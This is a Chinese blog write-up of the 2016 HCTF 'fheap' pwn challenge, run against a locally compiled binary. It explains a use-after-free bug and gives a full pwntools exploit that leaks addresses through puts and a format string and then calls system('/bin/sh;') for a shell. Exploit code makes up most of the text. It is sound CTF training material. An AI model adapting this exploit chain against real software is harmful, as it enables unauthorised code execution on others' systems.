PWN_2016_hctf_fheap
时隔几个月的再次更新(笑
前两天重新把heap
的相关内容看了一下,几个月前看的全忘了。
这次是从ctf-wiki
找的一个题
用的是我自己 compile 的,所以地址那些会和它的exp有些不一样
实现了一个create
和delete
的功能
在createStr()
中,注意到它对不同大小的str
有不同的处理。
当nbytesa
也就是strlen(str)
> 0xf
时,它会再malloc
一个地址来专门储存str
,再把这个地址 存到ptr
里,否则会直接存到ptr
中
在deleteStr()
中,可以注意到它只清空了*(&Strings + 4 * Int)
而没有清空*(&Strings + 2 * Int + 1)
也就是ptr
的数据,这给了我们Double Free
和UAF
的利用可能,并且判断的时候利用的是ptr
来判断的
思路
思路是较为清晰的:申请两个小于0xf
的str
并free
掉,此时两个chunk
存入到fastbin
中。再次申请一个0x20
的str
,ptr
会从fastbin
中拿出一个(记作0
),str
拿出另一个(记作1
)。
此时我们可以覆盖掉1
中ptr + 3
,也就是原本为freeShort
函数的位置,如果这时候再delete(1)
,便会执行我们的恶意地址。
EXP
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
先写好基本的菜单。
按照我们的思路,尝试覆盖一下
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
gdb_(1)
create(0x20, b'a'*0x10 + b'b'*0x08 + p64(0xdeadbeef))
可以看到,我们的freeShort
函数已经被覆盖了,此时执行delete(1)
,便会执行0x00005571deadbeef
这个地址的函数,并且以ptr
本身作为参数。
但是要注意的是,由于保护几乎是全开的,我们目前没有办法泄露libc_base
但是观察IDA
可以发现,距离两个free
很近的地方它执行了call _puts
,由ASLR
随机不会改变低十二位的特点,我们可以将最后两个字节直接改为\x7c
,这样free
的时候执行的就是puts(ptr)
,根据上图,puts
的结果应该是'a'*0x10+'b'*0x10+addr_of_call__puts
,再减去0x147C
,我们便可以得到程序的运行基地址
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
gdb_(1, 'b deleteStr')
delete(1) # -> call _puts
可以看到,成功执行了puts(ptr)
并计算出了程序基地址
但是如何泄露libc_base
呢?这个时候我们实际上已经可以任意地址执行了,且第一个参数是可控的,因此我们可以很容易联想到使用格式化字符串漏洞来输出某个函数的地址然后来找libc_base
我使用的printf
是0x150E
这里的,要注意的是在printf
之前把eax
置零了,因为会执行printf+7
的test al, al
,如果al
不为0则printf+34
的je
不会跳转,接着就会执行一个movaps
的指令要求16位对齐,否则就会段错误。而这里对齐与否是我们(至少是我)所不能决定的。
大概可以通过重新布局内存来达到对齐,然后打
DynELF
,但是我看他们的那 个 wp 没时候没复现成功,重新create
之后还是没有对齐。
至于格式化字符串怎么构造呢?在printf
这里下个断点就知道了。
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)
create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf)) # 这里我已经构造好了捏
gdb_(1)
delete(1)
sh.recvuntil(b"Nova")
printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
print(">>>", hex(printf_addr))
根据栈布局,我们可以找到0x7ffe3a3d1758
这个位置是printf+153
的位置,我们使用fmtarg 0x7ffe3a3d1758
来计算一下偏移(不然就6+12-1)也行
pwndbg> fmtarg 0x7ffe3a3d1758
The index of format argument : 18 ("\%17$p")
这样,printf+153
的地址就出来了
接下来就是常规了,libc_database
找libc
版本然后计算libc_base
,计算system_addr
,构造/bin/sh;
注意的是这里构造的是
/bin/sh;
而不是/bin/sh\x00
,具体原因我也不清楚,好像是因为system()
不止执行/bin/sh
所以不能截断
完整exp:
from typing import Literal, Optional, AnyStr
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process(['./pwn'])
def menu(index: Literal[1, 2, 3]):
sh.recvuntil(b"3.quit")
if index == 1:
sh.sendline(b"create string")
return
if index == 2:
sh.sendline(b"delete string")
return
if index == 3:
sh.sendline(b"quit string")
def create(length_: int, content: AnyStr):
menu(1)
sh.sendlineafter(b"Pls give string size:", str(length_).encode())
content = content if isinstance(content, bytes) else str(content).encode()
content = content.ljust(length_, b'\x00')
sh.sendlineafter(b"str:", content)
def delete(index: int, extra: Optional[AnyStr] = b''):
menu(2)
sh.sendlineafter(b"id:", str(index).encode())
if isinstance(extra, str):
extra = extra.encode()
sh.sendlineafter(b"Are you sure?:", b"yes" + extra)
def quit_():
menu(3)
def gdb_(time_: Optional[int] = None, arg: Optional[str] = None):
gdb.attach(sh, arg)
pause(time_)
create(4, b'aa') # 0
create(4, b'aa') # 1
delete(1)
delete(0)
create(0x20, b'a'*0x10 + b'b'*0x08 + b'\x7C' + b'\x00')
delete(1) # -> call _puts
sh.recvuntil(b"b"*0x08)
proc_base = u64(sh.recvline()[:-1].ljust(8, b'\x00')) - 0x147C
print(hex(proc_base))
printf = proc_base + 0x150E
delete(0)
create(0x20, b'Nova%17$pNoir' + b'b'*(0x18-len(b'Nova%17$pNoir')) + p64(printf))
delete(1)
sh.recvuntil(b"Nova")
printf_addr = sh.recvuntil(b"Noir", drop=True)
printf_addr = int(printf_addr, 16) - 153
libc_base = printf_addr - 0x55810
system_addr = libc_base + 0x453a0
print(">>>", hex(printf_addr))
sh.sendline(b"")
sh.sendline(b"")
delete(0)
create(0x20, b'/bin/sh;' + b'b'*(0x18-len(b'/bin/sh;')) + p64(system_addr))
delete(1)
sh.interactive()
总结
算是第一个比较综合的UAF
的题,搞了六七个小时,期间去看了那个DynELF
的用法,调了很久的movaps
,但是最后都没出来,然后还是用了比较常规的方法捏。最后打出来了,可喜可贺可喜可贺